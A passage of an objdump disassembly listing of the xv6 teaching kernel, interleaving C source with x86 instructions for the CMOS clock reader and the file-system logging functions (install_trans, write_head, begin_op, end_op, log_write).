801028a2: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028a5: 89 fa mov %edi,%edx
801028a7: 89 45 dc mov %eax,-0x24(%ebp)
801028aa: b8 08 00 00 00 mov $0x8,%eax
801028af: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028b0: 89 ca mov %ecx,%edx
801028b2: ec in (%dx),%al
r->month = cmos_read(MONTH);
801028b3: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028b6: 89 fa mov %edi,%edx
801028b8: 89 45 e0 mov %eax,-0x20(%ebp)
801028bb: b8 09 00 00 00 mov $0x9,%eax
801028c0: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028c1: 89 ca mov %ecx,%edx
801028c3: ec in (%dx),%al
r->year = cmos_read(YEAR);
801028c4: 0f b6 c0 movzbl %al,%eax
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
801028c7: 83 ec 04 sub $0x4,%esp
r->second = cmos_read(SECS);
r->minute = cmos_read(MINS);
r->hour = cmos_read(HOURS);
r->day = cmos_read(DAY);
r->month = cmos_read(MONTH);
r->year = cmos_read(YEAR);
801028ca: 89 45 e4 mov %eax,-0x1c(%ebp)
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
801028cd: 8d 45 b8 lea -0x48(%ebp),%eax
801028d0: 6a 18 push $0x18
801028d2: 56 push %esi
801028d3: 50 push %eax
801028d4: e8 e7 1b 00 00 call 801044c0 <memcmp>
801028d9: 83 c4 10 add $0x10,%esp
801028dc: 85 c0 test %eax,%eax
801028de: 0f 85 0c ff ff ff jne 801027f0 <cmostime+0x30>
break;
}
// convert
if(bcd) {
801028e4: 80 7d b7 00 cmpb $0x0,-0x49(%ebp)
801028e8: 75 78 jne 80102962 <cmostime+0x1a2>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
801028ea: 8b 45 b8 mov -0x48(%ebp),%eax
801028ed: 89 c2 mov %eax,%edx
801028ef: 83 e0 0f and $0xf,%eax
801028f2: c1 ea 04 shr $0x4,%edx
801028f5: 8d 14 92 lea (%edx,%edx,4),%edx
801028f8: 8d 04 50 lea (%eax,%edx,2),%eax
801028fb: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
801028fe: 8b 45 bc mov -0x44(%ebp),%eax
80102901: 89 c2 mov %eax,%edx
80102903: 83 e0 0f and $0xf,%eax
80102906: c1 ea 04 shr $0x4,%edx
80102909: 8d 14 92 lea (%edx,%edx,4),%edx
8010290c: 8d 04 50 lea (%eax,%edx,2),%eax
8010290f: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
80102912: 8b 45 c0 mov -0x40(%ebp),%eax
80102915: 89 c2 mov %eax,%edx
80102917: 83 e0 0f and $0xf,%eax
8010291a: c1 ea 04 shr $0x4,%edx
8010291d: 8d 14 92 lea (%edx,%edx,4),%edx
80102920: 8d 04 50 lea (%eax,%edx,2),%eax
80102923: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
80102926: 8b 45 c4 mov -0x3c(%ebp),%eax
80102929: 89 c2 mov %eax,%edx
8010292b: 83 e0 0f and $0xf,%eax
8010292e: c1 ea 04 shr $0x4,%edx
80102931: 8d 14 92 lea (%edx,%edx,4),%edx
80102934: 8d 04 50 lea (%eax,%edx,2),%eax
80102937: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
8010293a: 8b 45 c8 mov -0x38(%ebp),%eax
8010293d: 89 c2 mov %eax,%edx
8010293f: 83 e0 0f and $0xf,%eax
80102942: c1 ea 04 shr $0x4,%edx
80102945: 8d 14 92 lea (%edx,%edx,4),%edx
80102948: 8d 04 50 lea (%eax,%edx,2),%eax
8010294b: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
8010294e: 8b 45 cc mov -0x34(%ebp),%eax
80102951: 89 c2 mov %eax,%edx
80102953: 83 e0 0f and $0xf,%eax
80102956: c1 ea 04 shr $0x4,%edx
80102959: 8d 14 92 lea (%edx,%edx,4),%edx
8010295c: 8d 04 50 lea (%eax,%edx,2),%eax
8010295f: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
80102962: 8b 75 08 mov 0x8(%ebp),%esi
80102965: 8b 45 b8 mov -0x48(%ebp),%eax
80102968: 89 06 mov %eax,(%esi)
8010296a: 8b 45 bc mov -0x44(%ebp),%eax
8010296d: 89 46 04 mov %eax,0x4(%esi)
80102970: 8b 45 c0 mov -0x40(%ebp),%eax
80102973: 89 46 08 mov %eax,0x8(%esi)
80102976: 8b 45 c4 mov -0x3c(%ebp),%eax
80102979: 89 46 0c mov %eax,0xc(%esi)
8010297c: 8b 45 c8 mov -0x38(%ebp),%eax
8010297f: 89 46 10 mov %eax,0x10(%esi)
80102982: 8b 45 cc mov -0x34(%ebp),%eax
80102985: 89 46 14 mov %eax,0x14(%esi)
r->year += 2000;
80102988: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi)
}
8010298f: 8d 65 f4 lea -0xc(%ebp),%esp
80102992: 5b pop %ebx
80102993: 5e pop %esi
80102994: 5f pop %edi
80102995: 5d pop %ebp
80102996: c3 ret
80102997: 66 90 xchg %ax,%ax
80102999: 66 90 xchg %ax,%ax
8010299b: 66 90 xchg %ax,%ax
8010299d: 66 90 xchg %ax,%ax
8010299f: 90 nop
801029a0 <install_trans>:
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029a0: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx
801029a6: 85 c9 test %ecx,%ecx
801029a8: 0f 8e 85 00 00 00 jle 80102a33 <install_trans+0x93>
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801029ae: 55 push %ebp
801029af: 89 e5 mov %esp,%ebp
801029b1: 57 push %edi
801029b2: 56 push %esi
801029b3: 53 push %ebx
801029b4: 31 db xor %ebx,%ebx
801029b6: 83 ec 0c sub $0xc,%esp
801029b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
801029c0: a1 b4 26 11 80 mov 0x801126b4,%eax
801029c5: 83 ec 08 sub $0x8,%esp
801029c8: 01 d8 add %ebx,%eax
801029ca: 83 c0 01 add $0x1,%eax
801029cd: 50 push %eax
801029ce: ff 35 c4 26 11 80 pushl 0x801126c4
801029d4: e8 f7 d6 ff ff call 801000d0 <bread>
801029d9: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
801029db: 58 pop %eax
801029dc: 5a pop %edx
801029dd: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4)
801029e4: ff 35 c4 26 11 80 pushl 0x801126c4
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029ea: 83 c3 01 add $0x1,%ebx
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
801029ed: e8 de d6 ff ff call 801000d0 <bread>
801029f2: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
801029f4: 8d 47 5c lea 0x5c(%edi),%eax
801029f7: 83 c4 0c add $0xc,%esp
801029fa: 68 00 02 00 00 push $0x200
801029ff: 50 push %eax
80102a00: 8d 46 5c lea 0x5c(%esi),%eax
80102a03: 50 push %eax
80102a04: e8 17 1b 00 00 call 80104520 <memmove>
bwrite(dbuf); // write dst to disk
80102a09: 89 34 24 mov %esi,(%esp)
80102a0c: e8 8f d7 ff ff call 801001a0 <bwrite>
brelse(lbuf);
80102a11: 89 3c 24 mov %edi,(%esp)
80102a14: e8 c7 d7 ff ff call 801001e0 <brelse>
brelse(dbuf);
80102a19: 89 34 24 mov %esi,(%esp)
80102a1c: e8 bf d7 ff ff call 801001e0 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102a21: 83 c4 10 add $0x10,%esp
80102a24: 39 1d c8 26 11 80 cmp %ebx,0x801126c8
80102a2a: 7f 94 jg 801029c0 <install_trans+0x20>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
80102a2c: 8d 65 f4 lea -0xc(%ebp),%esp
80102a2f: 5b pop %ebx
80102a30: 5e pop %esi
80102a31: 5f pop %edi
80102a32: 5d pop %ebp
80102a33: f3 c3 repz ret
80102a35: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102a40 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80102a40: 55 push %ebp
80102a41: 89 e5 mov %esp,%ebp
80102a43: 53 push %ebx
80102a44: 83 ec 0c sub $0xc,%esp
struct buf *buf = bread(log.dev, log.start);
80102a47: ff 35 b4 26 11 80 pushl 0x801126b4
80102a4d: ff 35 c4 26 11 80 pushl 0x801126c4
80102a53: e8 78 d6 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a58: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx
for (i = 0; i < log.lh.n; i++) {
80102a5e: 83 c4 10 add $0x10,%esp
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102a61: 89 c3 mov %eax,%ebx
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
80102a63: 85 c9 test %ecx,%ecx
write_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a65: 89 48 5c mov %ecx,0x5c(%eax)
for (i = 0; i < log.lh.n; i++) {
80102a68: 7e 1f jle 80102a89 <write_head+0x49>
80102a6a: 8d 04 8d 00 00 00 00 lea 0x0(,%ecx,4),%eax
80102a71: 31 d2 xor %edx,%edx
80102a73: 90 nop
80102a74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
hb->block[i] = log.lh.block[i];
80102a78: 8b 8a cc 26 11 80 mov -0x7feed934(%edx),%ecx
80102a7e: 89 4c 13 60 mov %ecx,0x60(%ebx,%edx,1)
80102a82: 83 c2 04 add $0x4,%edx
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
80102a85: 39 c2 cmp %eax,%edx
80102a87: 75 ef jne 80102a78 <write_head+0x38>
hb->block[i] = log.lh.block[i];
}
bwrite(buf);
80102a89: 83 ec 0c sub $0xc,%esp
80102a8c: 53 push %ebx
80102a8d: e8 0e d7 ff ff call 801001a0 <bwrite>
brelse(buf);
80102a92: 89 1c 24 mov %ebx,(%esp)
80102a95: e8 46 d7 ff ff call 801001e0 <brelse>
}
80102a9a: 8b 5d fc mov -0x4(%ebp),%ebx
80102a9d: c9 leave
80102a9e: c3 ret
80102a9f: 90 nop
80102aa0 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(int dev)
{
80102aa0: 55 push %ebp
80102aa1: 89 e5 mov %esp,%ebp
80102aa3: 53 push %ebx
80102aa4: 83 ec 2c sub $0x2c,%esp
80102aa7: 8b 5d 08 mov 0x8(%ebp),%ebx
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
80102aaa: 68 e0 73 10 80 push $0x801073e0
80102aaf: 68 80 26 11 80 push $0x80112680
80102ab4: e8 57 17 00 00 call 80104210 <initlock>
readsb(dev, &sb);
80102ab9: 58 pop %eax
80102aba: 8d 45 dc lea -0x24(%ebp),%eax
80102abd: 5a pop %edx
80102abe: 50 push %eax
80102abf: 53 push %ebx
80102ac0: e8 5b e9 ff ff call 80101420 <readsb>
log.start = sb.logstart;
log.size = sb.nlog;
80102ac5: 8b 55 e8 mov -0x18(%ebp),%edx
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
80102ac8: 8b 45 ec mov -0x14(%ebp),%eax
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102acb: 59 pop %ecx
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
80102acc: 89 1d c4 26 11 80 mov %ebx,0x801126c4
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
80102ad2: 89 15 b8 26 11 80 mov %edx,0x801126b8
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
80102ad8: a3 b4 26 11 80 mov %eax,0x801126b4
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102add: 5a pop %edx
80102ade: 50 push %eax
80102adf: 53 push %ebx
80102ae0: e8 eb d5 ff ff call 801000d0 <bread>
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102ae5: 8b 48 5c mov 0x5c(%eax),%ecx
for (i = 0; i < log.lh.n; i++) {
80102ae8: 83 c4 10 add $0x10,%esp
80102aeb: 85 c9 test %ecx,%ecx
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102aed: 89 0d c8 26 11 80 mov %ecx,0x801126c8
for (i = 0; i < log.lh.n; i++) {
80102af3: 7e 1c jle 80102b11 <initlog+0x71>
80102af5: 8d 1c 8d 00 00 00 00 lea 0x0(,%ecx,4),%ebx
80102afc: 31 d2 xor %edx,%edx
80102afe: 66 90 xchg %ax,%ax
log.lh.block[i] = lh->block[i];
80102b00: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx
80102b04: 83 c2 04 add $0x4,%edx
80102b07: 89 8a c8 26 11 80 mov %ecx,-0x7feed938(%edx)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80102b0d: 39 da cmp %ebx,%edx
80102b0f: 75 ef jne 80102b00 <initlog+0x60>
log.lh.block[i] = lh->block[i];
}
brelse(buf);
80102b11: 83 ec 0c sub $0xc,%esp
80102b14: 50 push %eax
80102b15: e8 c6 d6 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102b1a: e8 81 fe ff ff call 801029a0 <install_trans>
log.lh.n = 0;
80102b1f: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102b26: 00 00 00
write_head(); // clear the log
80102b29: e8 12 ff ff ff call 80102a40 <write_head>
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
recover_from_log();
}
80102b2e: 8b 5d fc mov -0x4(%ebp),%ebx
80102b31: c9 leave
80102b32: c3 ret
80102b33: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102b39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102b40 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102b40: 55 push %ebp
80102b41: 89 e5 mov %esp,%ebp
80102b43: 83 ec 14 sub $0x14,%esp
acquire(&log.lock);
80102b46: 68 80 26 11 80 push $0x80112680
80102b4b: e8 20 18 00 00 call 80104370 <acquire>
80102b50: 83 c4 10 add $0x10,%esp
80102b53: eb 18 jmp 80102b6d <begin_op+0x2d>
80102b55: 8d 76 00 lea 0x0(%esi),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102b58: 83 ec 08 sub $0x8,%esp
80102b5b: 68 80 26 11 80 push $0x80112680
80102b60: 68 80 26 11 80 push $0x80112680
80102b65: e8 c6 11 00 00 call 80103d30 <sleep>
80102b6a: 83 c4 10 add $0x10,%esp
void
begin_op(void)
{
acquire(&log.lock);
while(1){
if(log.committing){
80102b6d: a1 c0 26 11 80 mov 0x801126c0,%eax
80102b72: 85 c0 test %eax,%eax
80102b74: 75 e2 jne 80102b58 <begin_op+0x18>
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102b76: a1 bc 26 11 80 mov 0x801126bc,%eax
80102b7b: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102b81: 83 c0 01 add $0x1,%eax
80102b84: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102b87: 8d 14 4a lea (%edx,%ecx,2),%edx
80102b8a: 83 fa 1e cmp $0x1e,%edx
80102b8d: 7f c9 jg 80102b58 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102b8f: 83 ec 0c sub $0xc,%esp
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
80102b92: a3 bc 26 11 80 mov %eax,0x801126bc
release(&log.lock);
80102b97: 68 80 26 11 80 push $0x80112680
80102b9c: e8 7f 18 00 00 call 80104420 <release>
break;
}
}
}
80102ba1: 83 c4 10 add $0x10,%esp
80102ba4: c9 leave
80102ba5: c3 ret
80102ba6: 8d 76 00 lea 0x0(%esi),%esi
80102ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102bb0 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102bb0: 55 push %ebp
80102bb1: 89 e5 mov %esp,%ebp
80102bb3: 57 push %edi
80102bb4: 56 push %esi
80102bb5: 53 push %ebx
80102bb6: 83 ec 18 sub $0x18,%esp
int do_commit = 0;
acquire(&log.lock);
80102bb9: 68 80 26 11 80 push $0x80112680
80102bbe: e8 ad 17 00 00 call 80104370 <acquire>
log.outstanding -= 1;
80102bc3: a1 bc 26 11 80 mov 0x801126bc,%eax
if(log.committing)
80102bc8: 8b 1d c0 26 11 80 mov 0x801126c0,%ebx
80102bce: 83 c4 10 add $0x10,%esp
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102bd1: 83 e8 01 sub $0x1,%eax
if(log.committing)
80102bd4: 85 db test %ebx,%ebx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102bd6: a3 bc 26 11 80 mov %eax,0x801126bc
if(log.committing)
80102bdb: 0f 85 23 01 00 00 jne 80102d04 <end_op+0x154>
panic("log.committing");
if(log.outstanding == 0){
80102be1: 85 c0 test %eax,%eax
80102be3: 0f 85 f7 00 00 00 jne 80102ce0 <end_op+0x130>
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102be9: 83 ec 0c sub $0xc,%esp
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
if(log.outstanding == 0){
do_commit = 1;
log.committing = 1;
80102bec: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0
80102bf3: 00 00 00
}
static void
commit()
{
if (log.lh.n > 0) {
80102bf6: 31 db xor %ebx,%ebx
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102bf8: 68 80 26 11 80 push $0x80112680
80102bfd: e8 1e 18 00 00 call 80104420 <release>
}
static void
commit()
{
if (log.lh.n > 0) {
80102c02: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx
80102c08: 83 c4 10 add $0x10,%esp
80102c0b: 85 c9 test %ecx,%ecx
80102c0d: 0f 8e 8a 00 00 00 jle 80102c9d <end_op+0xed>
80102c13: 90 nop
80102c14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102c18: a1 b4 26 11 80 mov 0x801126b4,%eax
80102c1d: 83 ec 08 sub $0x8,%esp
80102c20: 01 d8 add %ebx,%eax
80102c22: 83 c0 01 add $0x1,%eax
80102c25: 50 push %eax
80102c26: ff 35 c4 26 11 80 pushl 0x801126c4
80102c2c: e8 9f d4 ff ff call 801000d0 <bread>
80102c31: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c33: 58 pop %eax
80102c34: 5a pop %edx
80102c35: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4)
80102c3c: ff 35 c4 26 11 80 pushl 0x801126c4
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102c42: 83 c3 01 add $0x1,%ebx
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c45: e8 86 d4 ff ff call 801000d0 <bread>
80102c4a: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102c4c: 8d 40 5c lea 0x5c(%eax),%eax
80102c4f: 83 c4 0c add $0xc,%esp
80102c52: 68 00 02 00 00 push $0x200
80102c57: 50 push %eax
80102c58: 8d 46 5c lea 0x5c(%esi),%eax
80102c5b: 50 push %eax
80102c5c: e8 bf 18 00 00 call 80104520 <memmove>
bwrite(to); // write the log
80102c61: 89 34 24 mov %esi,(%esp)
80102c64: e8 37 d5 ff ff call 801001a0 <bwrite>
brelse(from);
80102c69: 89 3c 24 mov %edi,(%esp)
80102c6c: e8 6f d5 ff ff call 801001e0 <brelse>
brelse(to);
80102c71: 89 34 24 mov %esi,(%esp)
80102c74: e8 67 d5 ff ff call 801001e0 <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102c79: 83 c4 10 add $0x10,%esp
80102c7c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx
80102c82: 7c 94 jl 80102c18 <end_op+0x68>
static void
commit()
{
if (log.lh.n > 0) {
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102c84: e8 b7 fd ff ff call 80102a40 <write_head>
install_trans(); // Now install writes to home locations
80102c89: e8 12 fd ff ff call 801029a0 <install_trans>
log.lh.n = 0;
80102c8e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102c95: 00 00 00
write_head(); // Erase the transaction from the log
80102c98: e8 a3 fd ff ff call 80102a40 <write_head>
if(do_commit){
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
acquire(&log.lock);
80102c9d: 83 ec 0c sub $0xc,%esp
80102ca0: 68 80 26 11 80 push $0x80112680
80102ca5: e8 c6 16 00 00 call 80104370 <acquire>
log.committing = 0;
wakeup(&log);
80102caa: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
if(do_commit){
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
acquire(&log.lock);
log.committing = 0;
80102cb1: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0
80102cb8: 00 00 00
wakeup(&log);
80102cbb: e8 20 12 00 00 call 80103ee0 <wakeup>
release(&log.lock);
80102cc0: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102cc7: e8 54 17 00 00 call 80104420 <release>
80102ccc: 83 c4 10 add $0x10,%esp
}
}
80102ccf: 8d 65 f4 lea -0xc(%ebp),%esp
80102cd2: 5b pop %ebx
80102cd3: 5e pop %esi
80102cd4: 5f pop %edi
80102cd5: 5d pop %ebp
80102cd6: c3 ret
80102cd7: 89 f6 mov %esi,%esi
80102cd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
log.committing = 1;
} else {
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
80102ce0: 83 ec 0c sub $0xc,%esp
80102ce3: 68 80 26 11 80 push $0x80112680
80102ce8: e8 f3 11 00 00 call 80103ee0 <wakeup>
}
release(&log.lock);
80102ced: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102cf4: e8 27 17 00 00 call 80104420 <release>
80102cf9: 83 c4 10 add $0x10,%esp
acquire(&log.lock);
log.committing = 0;
wakeup(&log);
release(&log.lock);
}
}
80102cfc: 8d 65 f4 lea -0xc(%ebp),%esp
80102cff: 5b pop %ebx
80102d00: 5e pop %esi
80102d01: 5f pop %edi
80102d02: 5d pop %ebp
80102d03: c3 ret
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
80102d04: 83 ec 0c sub $0xc,%esp
80102d07: 68 e4 73 10 80 push $0x801073e4
80102d0c: e8 5f d6 ff ff call 80100370 <panic>
80102d11: eb 0d jmp 80102d20 <log_write>
80102d13: 90 nop
80102d14: 90 nop
80102d15: 90 nop
80102d16: 90 nop
80102d17: 90 nop
80102d18: 90 nop
80102d19: 90 nop
80102d1a: 90 nop
80102d1b: 90 nop
80102d1c: 90 nop
80102d1d: 90 nop
80102d1e: 90 nop
80102d1f: 90 nop
80102d20 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d20: 55 push %ebp
80102d21: 89 e5 mov %esp,%ebp
80102d23: 53 push %ebx
80102d24: 83 ec 04 sub $0x4,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d27: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d2d: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d30: 83 fa 1d cmp $0x1d,%edx
80102d33: 0f 8f 97 00 00 00 jg 80102dd0 <log_write+0xb0>
80102d39: a1 b8 26 11 80 mov 0x801126b8,%eax
80102d3e: 83 e8 01 sub $0x1,%eax
80102d41: 39 c2 cmp %eax,%edx
80102d43: 0f 8d 87 00 00 00 jge 80102dd0 <log_write+0xb0>
panic("too big a transaction");
if (log.outstanding < 1)
80102d49: a1 bc 26 11 80 mov 0x801126bc,%eax
80102d4e: 85 c0 test %eax,%eax
80102d50: 0f 8e 87 00 00 00 jle 80102ddd <log_write+0xbd>
panic("log_write outside of trans");
acquire(&log.lock);
80102d56: 83 ec 0c sub $0xc,%esp
80102d59: 68 80 26 11 80 push $0x80112680
80102d5e: e8 0d 16 00 00 call 80104370 <acquire>
for (i = 0; i < log.lh.n; i++) {
80102d63: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102d69: 83 c4 10 add $0x10,%esp
80102d6c: 83 fa 00 cmp $0x0,%edx
80102d6f: 7e 50 jle 80102dc1 <log_write+0xa1>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d71: 8b 4b 08 mov 0x8(%ebx),%ecx
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d74: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d76: 3b 0d cc 26 11 80 cmp 0x801126cc,%ecx
80102d7c: 75 0b jne 80102d89 <log_write+0x69>
80102d7e: eb 38 jmp 80102db8 <log_write+0x98>
80102d80: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4)
80102d87: 74 2f je 80102db8 <log_write+0x98>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d89: 83 c0 01 add $0x1,%eax
80102d8c: 39 d0 cmp %edx,%eax
80102d8e: 75 f0 jne 80102d80 <log_write+0x60>
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102d90: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
if (i == log.lh.n)
log.lh.n++;
80102d97: 83 c2 01 add $0x1,%edx
80102d9a: 89 15 c8 26 11 80 mov %edx,0x801126c8
b->flags |= B_DIRTY; // prevent eviction
80102da0: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102da3: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp)
}
80102daa: 8b 5d fc mov -0x4(%ebp),%ebx
80102dad: c9 leave
}
log.lh.block[i] = b->blockno;
if (i == log.lh.n)
log.lh.n++;
b->flags |= B_DIRTY; // prevent eviction
release(&log.lock);
80102dae: e9 6d 16 00 00 jmp 80104420 <release>
80102db3: 90 nop
80102db4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102db8: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4)
